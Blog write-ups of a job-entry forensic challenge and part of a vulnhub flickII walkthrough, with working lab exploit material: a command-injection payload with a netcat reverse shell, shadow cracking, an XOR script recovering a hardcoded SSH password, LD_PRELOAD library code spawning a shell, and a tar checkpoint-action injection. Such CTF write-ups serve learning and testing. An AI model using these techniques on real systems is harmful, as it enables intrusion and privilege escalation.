Admins were able to crack a password but not somehow not able to mount the hdd (lol) and look at the data which is not encrypted but just moved in a directory only readable by root which had his password changed…

But actually I get it. This is just a little challenge as a job intro starter, so thats okay!

Goal Overview:

Bildschirmfoto 2017-03-02 um 23.13.18.png

  1. How could the attackers gain access? (shell)
  2. How could the attackers gain root privileges? (privesc)
  3. What kind of stolen data was parked on the Server? (Kevin, was this you… ?)

 

Goal 1: How could the attackers gain access? (shell)

Bildschirmfoto 2017-03-02 um 23.17.53.png

Describe the Vulnerability that was used by the hackers to infiltrate the system. What kind of vulnerability was used? Provide a Proof-of-Concept with your answer.

So lets fire up the VM:

Bildschirmfoto 2017-03-02 um 23.21.20.png

So getting the network connectivity for the VM worked out is not part of the challenge ;)
Also you already start with a low priv user which is more than you get with your average vulnhub Boot2Root VM.

Checking out the ransom Note on the Webserver:

Bildschirmfoto 2017-03-02 um 23.25.24.png

In the the www-root you can find the original website as well:

hacker@debian:/var/www/html$ cat originalIndex.php
<?php
if($_GET['password'] != "" && $_GET['file'] != "") {
$command = "/home/readFile ".$_GET['password']." insurances/".$_GET['file'];
}
?>
<html>
<head>
<style>
body {margin: 0;}
.customerAccess {animation-name: customerAnimation; animation-duration: 2s; position: relative; width: 50%; height: 50%; left: 25%; top: 0px;}
.home {animation-name: homeanimation; animation-duration: 2s; position: relative; left:45%; top:0px; width: 200px; height: 100px;}
input[type=text], select, input[type=password] {width: 100%; padding: 12px, 20px; margin: 8px 0; display: inline-block; border: 1px; solid #ccc; border-radius: 4px; box-sizing: border-box;}
@keyframes customerAnimation {0% {left:-50%; top: 0px;} 100% {left:25%; top:0px;}}
@keyframes homeanimation {0% {left:0px;top:0px;} 100% {left:45%;top:0px;}}
input[type=text]:focus, input[type=password]:focus {background-color: #DDDEEE;}
@keyframes example {0% {background-color: white;} 100% {background-color:#CCCCCC}}
table {border-collapse: collapse;}
td, th {border: 0px solid #dddddd;}
.button:hover {background-color: #888888;}
.button {background-color: #aaaaaa; border: none; color: white; padding: 5px 32px; text-align: center; text-decoration: none; display: inline-block; margin: 4px 2px; cursor: pointer; border-radius: 5px; width: 100%;}
a:link {color: blue;}
a:visited {color: white;}
a:hover {color:red;}
.overlay {height: 100%; width: 0; position: fixed; z-index: 1; top: 0; left: 0; background-color: rgb(0,0,0); background-color: rgba(0,0,0,0.9); overflow-x: hidden; transition: 0.5s;}
.overlay-content {position: relative; top: 25%; width: 100%; text-align: center; margin-top: 30px;}
.overlay a {padding: 8px; text-decoration: none; font-size: 36px; color: #818181; display: block; transition: 0.3s;}
.overlay a:hover, overlay a:focus {color: #f1f1f1;}
.overlay .closebtn {position: absolute; top: 20px; right: 45px;}
@media screen and (max-height: 450px) {.overlay a {font-size: 20px} .overlay .closebtn {font-size: 40px; top: 15px; right: 35px;}
</style>
<title>Mountain Security</title>

function change(i) {
var newContent = "";
if(i == 1) {
document.getElementById("co").style="animation-name: example; animation-duration: 2s; background-color: #CCCCCC";
newContent = "
...
...
...

So the answer to the first question is quite obvious from this two blocks:

bildschirmfoto-2017-03-03-um-00-28-40

and later on:

bildschirmfoto-2017-03-03-um-00-27-32

 

 

So the Answer to the first question is quite easy: 

The Website did not do any user input validation and just passed user input to the php system() function which leads to OS Command injection (OWASP Top 10 A1-Injection).

Basically we just need to append a second command in the $command variable, so I intercepted the website with burp and added a “; id” for the first try:

Bildschirmfoto 2017-03-02 um 21.34.59.png

“; id” was URL encoded for this:

Bildschirmfoto 2017-03-02 um 21.35.19.png

Know that we have OS Command injection a shell was easily obtained as nc is installed on the webserver:

URLEncode the command:Bildschirmfoto 2017-03-02 um 21.40.10.png

Alter the second HTTP_GET parameter (POC):Bildschirmfoto 2017-03-02 um 21.40.21.png

Obtain a limited www-data shell:

Bildschirmfoto 2017-03-02 um 21.42.49.png

 

Now looking around on the system and investigating the websites further you can find some interesting details:

A hardcoded password in a c file:

Bildschirmfoto 2017-03-02 um 22.02.50.png

Data exfil was also possible via the website logic:

Bildschirmfoto 2017-03-02 um 22.09.31.png

Basically you notice that the Challenge was prepared on a very basic level, which is okay as it fits the goal I guess…

Goal 2: How could the attackers gain root privileges? (privesc)

Bildschirmfoto 2017-03-02 um 23.48.23.png

  • How did the attackers obtain root privileges
  • Describe the Vulnerability and obtain the new root-password

To solve this I looked a bit around on the box and finally started to transfer the usual privesc checker scripts:

unix-prives-check

linuxprivchecker.py

LinEnum.sh

linuxprivchecker.py showed me a bad cronjob eventually:

Bildschirmfoto 2017-03-02 um 22.18.31.png

This is as easy as linux privesc gets…

For testing purposes I let it touch a file in tmp:

Bildschirmfoto 2017-03-02 um 22.19.05.png

Then straight forward nc reverse shell again:

Bildschirmfoto 2017-03-02 um 22.21.32.png

Back to the roots:

Bildschirmfoto 2017-03-02 um 23.47.17.png

Obtain the shadow file:

Bildschirmfoto 2017-03-02 um 23.49.41.png

And feed it to john:

Bildschirmfoto 2017-03-03 um 00.05.19.png

This password was obtained from the file /home/root/Rul0rzZrootPw (see next Question).

 

Goal 3: What kind of stolen data was parked on the Server? (Kevin, was this you… ?)

Bildschirmfoto 2017-03-02 um 23.56.19.png

  • What data was stored on the hacked Server?
  • How were the data disguised?
  • Name the flag!

The Obvious Data on the server seems to be cleartext passwords:

root@debian:/home/hackedData# ls
ls
flagImage.jpg hackedPasswords.txt
root@debian:/home/hackedData# head hackedPasswords.txt
head hackedPasswords.txt
password
123456
12345678
1234
qwerty
12345
dragon
pussy
baseball
football

Kevin Mitnick called, he wants his KungFu back!

The Flag seems to be a decoy:

Bildschirmfoto 2017-03-02 um 22.26.24.png

I already checked if the jpeg has more than one magic header but that this not the case.

Also there were two potential root passwords stored in “/home/root”:

root@debian:/home/root# ls -la
ls -la
total 16
drwx---r-- 2 root root 4096 Nov 23 13:11 .
drwxr-xr-x 5 root root 4096 Nov 23 13:26 ..
-rwx------ 1 root root 21 Nov 23 13:11 root_pw
-rwx------ 1 root root 22 Nov 23 12:57 Rul0rzZrootPw
root@debian:/home/root# cat root_pw
cat root_pw
2Has21sjJ0w3/?dee82H
root@debian:/home/root# cat Rul0rzZrootPw
cat Rul0rzZrootPw
JDWbwz334aawefHHwf/)2

Turns out the second is the new root password (see question 2):

Bildschirmfoto 2017-03-03 um 00.05.19.png

 

Conclusion:

This was a fun but pretty easy challenge.
I guess i could still be missing the real flag which might be the real forensics challenge :-D

As for the skill level this is way easier than most PWK / OSCP machines.

However I enjoyed it and think its cool the BND uses this as a job entry challenge. I hope they sign every new employee up for PWK afterwards! :)

Now do I want to work for the BND?
Only if they post me on Hawaii and the weather is like in movies! :)

 

Posted in boot2root, miscellaneous | Tagged , , , , | 6 Comments

vulnhub: flickII – to the root – walkthrough part2

This Post continues Part 1 of my flickII walkthrough!

In the last post I showed how I was able to get a reverse shell using the flick-check-dist.apk and its API.
In this post I will conclude the walkthrough by demonstrating how I became root.

How to become robin

As I got the reverse shell in context of nginx, I first used standard privesc techniques to search for accessible files, go through the websites sourcecode and look for other obvious issues that could help me elevate privileges.

After checking the obvious stuff / low hanging fruits I retruned to the APK Sourcecode because of a Feature of the APK I noticed earlier:

ssh-failed

 

Use Secure Access – However enabling the function just displays an error and no HTTP request can be intercepted using burp.

So back to the source code it is!

After digging around a bit i found the responsible function:

ssh-functionSo SSHCommand()! The APK tries to speak SSH to the Server. However the initial Portscan showed that SSH was not listening so thats probably why Secure Access Failed!

A quick google search also revealed that jsch is a complete Java implementation of SSH v2:

jcraft-jsch

 

So lets follow the SSHCommand() function:

sshcommand

 

So it indeed is trying to establish an SSH Session and even better: with hard coded credentials!

The username is easy: “robin”

The password was a bit trickier! The SSH Password of the User “robin” is the result of the function call: CommandActivity.validate(text)

text in turn contains the b64 decode of the integrity_check string:

integrity-check

 

Now lets take a look at the validate function:

validate

 

So the b64 decode of the integrity_check variable is xored with the string inside the key string!

After doing a quick stackoverflow programming lesson I had a simple python xor script thrown together:

 #!/usr/bin/python

import base64

b64string = "YFhaRBMNFRQDFxJEFlFDExIDVUMGEhcLAUNFBVdWQGFeXBIVWEsZWQ=="

strinput = base64.b64decode(b64string)
key = "This is a super secret message!"
output = ""

def xor_strings(s,t):
 """xor two strings together"""
 return "".join(chr(ord(a)^ord(b)) for a,b in zip(s,t))

print xor_strings(base64.b64decode(b64string), key)

And the Output:

 root@kali:~/vulnhub/flickII# ./xor1.py 
40373df4b7a1f413af61cf7fd06d03a

So lets try to escalate to robin in the reverse shell:

sufail

Fail! :-(

But this has to work! One thing that bothered me right away was the length of the strings!

So 3 extra lines of python showed me the length of each string:

print len(xor_strings(key, base64.b64decode(b64string)))

print len(key)

print len(base64.b64decode(b64string))

Lets take a look:

root@kali:~/vulnhub/flickII# ./xor2.py 
31
31
40

So the xor only goes as far as the shorter string!

Lets take a look again how the APK handles this:

 for (int i = 0; i < input.length(); i++) {
      output.append((char) (input.charAt(i) ^ key[i % key.length]));

So the APK is doing some kind of modulo magic on the position of the string key!  I was to lazy to figure that out in my head so I just programmed the same in python:

#!/usr/bin/python

import base64

b64string = "YFhaRBMNFRQDFxJEFlFDExIDVUMGEhcLAUNFBVdWQGFeXBIVWEsZWQ=="

#print repr(base64.b64decode(b64string))
strinput = base64.b64decode(b64string)
key = "This is a super secret message!"
output = ""

def xor_strings(s,t):
 """xor two strings together"""
 return "".join(chr(ord(a)^ord(b)) for a,b in zip(s,t))


for i in range (0,len(strinput)):
 output += xor_strings(strinput[i],key[i % len(key)])

print output
print len(output)

And the Result:

root@kali:~/vulnhub/flickII# ./xor_strings.py 
40373df4b7a1f413af61cf7fd06d03a565a51898
40

Lets test this as a password for robin:

robin

LD_PRELOAD for the win \o/

Good practice with every new user on a linux system is to check their sudo rights:

sudominuslnotworkingOh noes! no real titty!

This can be solved by spawning a new bash via python using:

python -c 'import pty; pty.spawn("/bin/bash")'

So lets try again:

sudo-l

There we found the dice before we knew we needed it!

But I also found /home/robin/debug.gpg

cat debug.gpg
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Dude,

I know you are trying to debug this stupid dice thing, so I figured the below
will be useful?

[...]
__libc_start_main(0x555555554878, 1, 0x7fffffffe508, 0x5555555548e0 <unfinished ...>
getenv("LD_PRELOAD") = nil
rand() = 1804289383
__printf_chk(1, 0x555555554978, 0x6b8b4567, 0x7ffff7dd40d4) = 22
__cxa_finalize(0x555555754e00, 0, 0, 1) = 0x7ffff7dd6290
+++ exited (status 0) +++Dice said: 1804289383
[...]

Lemme know!

- --
Sean
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVsSXBAAoJEF+jiAi1AwtOqd8P/3L19JE2BFA/xHvUyb/rWdIc
fKVZUCHb7oHFrwXavfagY4gm2ssLwOLNX0a1/DGqEwS8MjaQmW5s31iEulqUQjX9
+8NGJpaKOL2rp+cVD57VCsQSstkEJtlwK5WgrsInUz8FH06N0I/d3b3GqckFBzND
jpBSBib3CyL1LOoEvc0ThKMUT/AdvIwC+t4fldx8o+YOLEGoZuCzWOM6KNysmTCa
wqAsCaNMpavn+2hPy2liozZfRyBo4mmLVKY3tcnHC+ntlPaDi7ENG3Xc5RSHYyA7
BFcIPNPTZsh9QEdCF0A/s3A349SZ4rimkQkqOOeoHfrMTKPaCmX/N3jJ9q05+Ccg
56xR9WsYTgwwb6qZ3PEzFQ5pXcKwaLAmCLxFxW/X76z7rmVI0GsqnkXAd16R/VDy
nLlUIMq0HrldSZ15VVikR3CMm3SRkrx6PlzCQ2cCTtRXGfiOPqN1lDmReYjKbCYo
DkvQi0zhD7Ow6m5w8NPAUXplhDEGK2mTrL9qWvZfin5JKLW3ZWSBqPw6jVitwAJm
Ej9wlMcb32lzmzrC45tH/U+Kq/M7cTYCIU3xYcL1URAK8IWn2fMZgmmepAR+QT0S
MgAHhbJmRhzA98KxCtgR0RXrKPeIwSfxOJi7Yx16GSLKYPhCQn8YRzxpmPp0h5Yd
7Zo/oh0FA+3WWsmYfa7I
=jvfO
-----END PGP SIGNATURE-----

Good thing I have used LD_PRELOAD in the past and recognized it instantly!

Lets take a closer look at the “sudo -l” output again:

Matching Defaults entries for robin on this host:
requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS
DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1
PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL
LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", env_keep+=LD_PRELOAD,
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User robin may run the following commands on this host:
(bryan) /usr/local/bin/dice

So I can pass LD_PRELOAD as an environment variable and run the dice as user bryan.

That sounds like a classic LD_PRELOAD Privesc technique!

If youre not familiar with the LD_PRELOAD technique google it quickly or read up on this well written post of it.

Basically the idea is to inject a library (.so) that will execute my code as the user who is running the binary (bryan thanks to sudo).

So lets start with the SO file:

#include <stdlib.h>

// spwan a bash in context of bryan instead of generating random number

int rand(){
 system("/bin/bash"); 
 return 0;
}

 

This should drop me into a bash instead of giving me a fake random number!

Lets download, and compile this as an .so file:

curl http://192.168.0.56/flick2.c -o flick2.c

gcc -shared -fPIC flick2.c -o /tmp/flick2.so

I put the output in /tmp because it needs to be at a place that the user bryan can read!

Now lets try to run it:

ldpreloadiddntwork

So this did not work…

But I am sure it must work somehow… At this point I got stuck and took a peek at rasta_mouse’s walkthrough of flickII ;-)

With that I got it working quickly and afterwards he even was so kind and explain to me as why it did not work.

Here we go:

Remember the /home/robin/debug.gpg:

head debug.gpg
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Dude,

I know you are trying to debug this stupid dice thing, so I figured the below
will be useful?

[...]
__libc_start_main(0x555555554878, 1, 0x7fffffffe508, 0x5555555548e0 <unfinished ...>
getenv("LD_PRELOAD") = nil

The last line prevents LD_PRELOAD to be passed to the binary!

The solution is to also overwrite the getenv() function! :-D

#include <stdlib.h>

// overwrite getenv() function so that it cant prevent usage of LD_PRELOAD

char *getenv(const char *name){
 return 0;
}
// spwan a bash in context of bryan instead of generating random number

int rand(){
 system("/bin/bash"); 
 return 0;
}

So lets try this again:

hustonwegotbryan

Huston we got bryan \o/

Life of Bryan

With an privesc checker script I ran in the beginning I found 2 Interesting SUID files:

[+] SUID/SGID Files and Directories
 drwxr-sr-x 3 root systemd-journal 60 Dec 27 13:04 /run/log/journal
 drwxr-sr-x 2 root systemd-journal 60 Dec 27 13:04 /run/log/journal/9b5855bbd2204da88ff236bfdace60da
 -r-xr-sr-x. 1 root tty 15344 Jun 10 2014 /usr/bin/wall
 -rwxr-sr-x. 1 root tty 19536 May 12 2015 /usr/bin/write
 -rwsr-xr-x. 1 root root 64200 Mar 6 2015 /usr/bin/chage
 -rwsr-xr-x. 1 root root 78168 Mar 6 2015 /usr/bin/gpasswd
 -rwsr-xr-x. 1 root root 41752 Mar 6 2015 /usr/bin/newgrp
 -rwsr-xr-x. 1 root root 44232 May 12 2015 /usr/bin/mount
 -rws--x--x. 1 root root 23960 May 12 2015 /usr/bin/chfn
 -rws--x--x. 1 root root 23856 May 12 2015 /usr/bin/chsh
 -rwsr-xr-x. 1 root root 32064 May 12 2015 /usr/bin/su
 -rwsr-xr-x. 1 root root 31960 May 12 2015 /usr/bin/umount
 -rwsr-xr-x. 1 root root 27656 Jun 9 2014 /usr/bin/pkexec
 -rwsr-xr-x. 1 root root 57536 Jul 30 2014 /usr/bin/crontab
 ---s--x--x. 1 root root 130720 Mar 6 2015 /usr/bin/sudo
 ---x--s--x. 1 root nobody 293832 May 12 2015 /usr/bin/ssh-agent
 -rwsr-xr-x. 1 root root 27832 Jun 10 2014 /usr/bin/passwd
 -rwsr-xr-x. 1 root root 11208 Mar 6 2015 /usr/sbin/pam_timestamp_check
 -rwsr-xr-x. 1 root root 36264 Mar 6 2015 /usr/sbin/unix_chkpwd
 -rwxr-sr-x. 1 root root 11208 Mar 6 2015 /usr/sbin/netreport
 -rwsr-xr-x. 1 root root 11272 Mar 6 2015 /usr/sbin/usernetctl
 -rwxr-sr-x. 1 root postdrop 218552 Jun 10 2014 /usr/sbin/postdrop
 -rwxr-sr-x. 1 root postdrop 259992 Jun 10 2014 /usr/sbin/postqueue
 -rwsr-xr-x. 1 root root 15416 Jun 9 2014 /usr/lib/polkit-1/polkit-agent-helper-1
 -rwsr-x---. 1 root dbus 318384 Mar 6 2015 /usr/lib64/dbus-1/dbus-daemon-launch-helper
 -rwx--s--x. 1 root utmp 11192 Jun 10 2014 /usr/libexec/utempter/utempter
 ---x--s--x. 1 root ssh_keys 457312 May 12 2015 /usr/libexec/openssh/ssh-keysign
 -rwsr-x---. 1 sean bryan 8830 Jul 2 2015 /usr/local/bin/backup
 -rwsr-x--- 1 root sean 866169 Aug 15 2015 /usr/local/bin/restore 

/usr/local/bin/backup belongs to sean:bryan and is suid!

lets run file on it:

[bryan@fII tmp]$ file /usr/local/bin/backup

/usr/local/bin/backup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0xc3cbb4476467a324fd93e428225dbedb5df5e2d3, not stripped

Dang a binary and not an easily readable script!

So lets run it through strace:

[bryan@fII tmp]$ strace /usr/local/bin/backup

execve("/usr/local/bin/backup", ["/usr/local/bin/backup"], [/* 21 vars */]) = 0
brk(0) = 0x555555756000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff9000
open("/tmp/flick2.so", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\6\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0775, st_size=8036, ...}) = 0
mmap(NULL, 2101304, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff7bd9000
mprotect(0x7ffff7bda000, 2093056, PROT_NONE) = 0
mmap(0x7ffff7dd9000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0) = 0x7ffff7dd9000
close(3) = 0
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=22781, ...}) = 0
mmap(NULL, 22781, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ffff7ff3000
close(3) = 0
open("/lib64/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\34\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=2107760, ...}) = 0
mmap(NULL, 3932736, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff7818000
mprotect(0x7ffff79ce000, 2097152, PROT_NONE) = 0
mmap(0x7ffff7bce000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1b6000) = 0x7ffff7bce000
mmap(0x7ffff7bd4000, 16960, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ffff7bd4000
close(3) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff2000
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff0000
arch_prctl(ARCH_SET_FS, 0x7ffff7ff0740) = 0
mprotect(0x7ffff7bce000, 16384, PROT_READ) = 0
mprotect(0x7ffff7dd9000, 4096, PROT_READ) = 0
mprotect(0x555555754000, 4096, PROT_READ) = 0
mprotect(0x7ffff7ffc000, 4096, PROT_READ) = 0
munmap(0x7ffff7ff3000, 22781) = 0
setresuid(1002, 1002, 1002) = -1 EPERM (Operation not permitted)
setresgid(1002, 1002, 1002) = -1 EPERM (Operation not permitted)
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 4), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff8000
write(1, " * Securing environment\n", 24 * Securing environment
) = 24
write(1, " * Performing database backup..."..., 33 * Performing database backup...
) = 33
rt_sigaction(SIGINT, {SIG_IGN, [], SA_RESTORER, 0x7ffff784d650}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN, [], SA_RESTORER, 0x7ffff784d650}, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0x7fffffffe9d0) = 3878
wait4(3878, app/
app/.gitignore
database.sqlite
framework/
framework/cache/
framework/cache/.gitignore
tar (child): /home/sean/backup_20161227.tar.gz: Cannot open: Permission denied
tar (child): Error is not recoverable: exiting now

Aha! tar! I can smell where this is going!

To get the next part I had to peek at other writeups again ;-)

But eventually I got this right:

 sh-4.2$ strace -s 999 -v -f /usr/local/bin/backup 2>&1 | grep execve
strace -s 999 -v -f /usr/local/bin/backup 2>&1 | grep execve
execve("/usr/local/bin/backup", ["/usr/local/bin/backup"], ["TAR_SUBCOMMAND=-c", "TAR_FORMAT=gnu", "HOSTNAME=fII.local", "SHELL=/bin/bash", "TERM=unknown", "HISTSIZE=1000", "LD_PRELOAD=/tmp/flick2.so", "USER=bryan", "TAR_BLOCKING_FACTOR=20", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "MAIL=/var/spool/mail/robin", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_ARCHIVE=/home/sean/backup_20161227.tar.gz", "TAR_CHECKPOINT=1", "HOME=/home/bryan", "SUDO_COMMAND=/usr/local/bin/dice", "SHLVL=8", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/strace"]) = 0
[pid 3913] execve("/bin/sh", ["sh", "-c", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin; cd /usr/share/nginx/serverchecker/storage; /bin/tar -zvcf /home/sean/backup_$(/bin/date +\"%Y%m%d\").tar.gz *;"], ["TAR_SUBCOMMAND=-c", "TAR_FORMAT=gnu", "HOSTNAME=fII.local", "SHELL=/bin/bash", "TERM=unknown", "HISTSIZE=1000", "LD_PRELOAD=/tmp/flick2.so", "USER=bryan", "TAR_BLOCKING_FACTOR=20", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "MAIL=/var/spool/mail/robin", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_ARCHIVE=/home/sean/backup_20161227.tar.gz", "TAR_CHECKPOINT=1", "HOME=/home/bryan", "SUDO_COMMAND=/usr/local/bin/dice", "SHLVL=8", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/strace"]) = 0
[pid 3915] execve("/bin/date", ["/bin/date", "+%Y%m%d"], ["TAR_FORMAT=gnu", "TAR_SUBCOMMAND=-c", "HOSTNAME=fII.local", "TERM=unknown", "SHELL=/bin/bash", "HISTSIZE=1000", "LD_PRELOAD=/tmp/flick2.so", "OLDPWD=/usr/share/nginx/serverchecker/storage", "TAR_BLOCKING_FACTOR=20", "USER=bryan", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "MAIL=/var/spool/mail/robin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_CHECKPOINT=1", "TAR_ARCHIVE=/home/sean/backup_20161227.tar.gz", "SHLVL=9", "SUDO_COMMAND=/usr/local/bin/dice", "HOME=/home/bryan", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/date"]) = 0
[pid 3916] execve("/bin/tar", ["/bin/tar", "-zvcf", "/home/sean/backup_20161227.tar.gz", "app", "--checkpoint=1", "--checkpoint-action=exec=sh", "database.sqlite", "framework", "logs"], ["TAR_FORMAT=gnu", "TAR_SUBCOMMAND=-c", "HOSTNAME=fII.local", "TERM=unknown", "SHELL=/bin/bash", "HISTSIZE=1000", "LD_PRELOAD=/tmp/flick2.so", "OLDPWD=/usr/share/nginx/serverchecker/storage", "TAR_BLOCKING_FACTOR=20", "USER=bryan", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "MAIL=/var/spool/mail/robin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_CHECKPOINT=1", "TAR_ARCHIVE=/home/sean/backup_20161227.tar.gz", "SHLVL=9", "SUDO_COMMAND=/usr/local/bin/dice", "HOME=/home/bryan", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/tar"]) = 0
[pid 3918] execve("/bin/sh", ["/bin/sh", "-c", "sh"], ["TAR_FORMAT=gnu", "TAR_SUBCOMMAND=-c", "HOSTNAME=fII.local", "TERM=unknown", "SHELL=/bin/bash", "HISTSIZE=1000", "LD_PRELOAD=/tmp/flick2.so", "OLDPWD=/usr/share/nginx/serverchecker/storage", "TAR_BLOCKING_FACTOR=20", "USER=bryan", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "MAIL=/var/spool/mail/robin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_CHECKPOINT=1", "TAR_ARCHIVE=/home/sean/backup_20161227.tar.gz", "SHLVL=9", "SUDO_COMMAND=/usr/local/bin/dice", "HOME=/home/bryan", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/tar"]) = 0
[pid 3918] execve("/bin/sh", ["sh"], ["TAR_SUBCOMMAND=-c", "TAR_FORMAT=gnu", "HOSTNAME=fII.local", "SHELL=/bin/bash", "TERM=unknown", "HISTSIZE=1000", "LD_PRELOAD=/tmp/flick2.so", "USER=bryan", "TAR_BLOCKING_FACTOR=20", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "MAIL=/var/spool/mail/robin", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "_=/bin/sh", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_ARCHIVE=/home/sean/backup_20161227.tar.gz", "TAR_CHECKPOINT=1", "HOME=/home/bryan", "SUDO_COMMAND=/usr/local/bin/dice", "SHLVL=10", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000"]) = 0
[pid 3919] execve("/usr/local/bin/gzip", ["gzip"], ["TAR_FORMAT=gnu", "TAR_SUBCOMMAND=-c", "HOSTNAME=fII.local", "TERM=unknown", "SHELL=/bin/bash", "HISTSIZE=1000", "LD_PRELOAD=/tmp/flick2.so", "OLDPWD=/usr/share/nginx/serverchecker/storage", "TAR_BLOCKING_FACTOR=20", "USER=bryan", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "MAIL=/var/spool/mail/robin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_CHECKPOINT=1", "TAR_ARCHIVE=/home/sean/backup_20161227.tar.gz", "SHLVL=9", "SUDO_COMMAND=/usr/local/bin/dice", "HOME=/home/bryan", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/tar"]) = -1 ENOENT (No such file or directory)
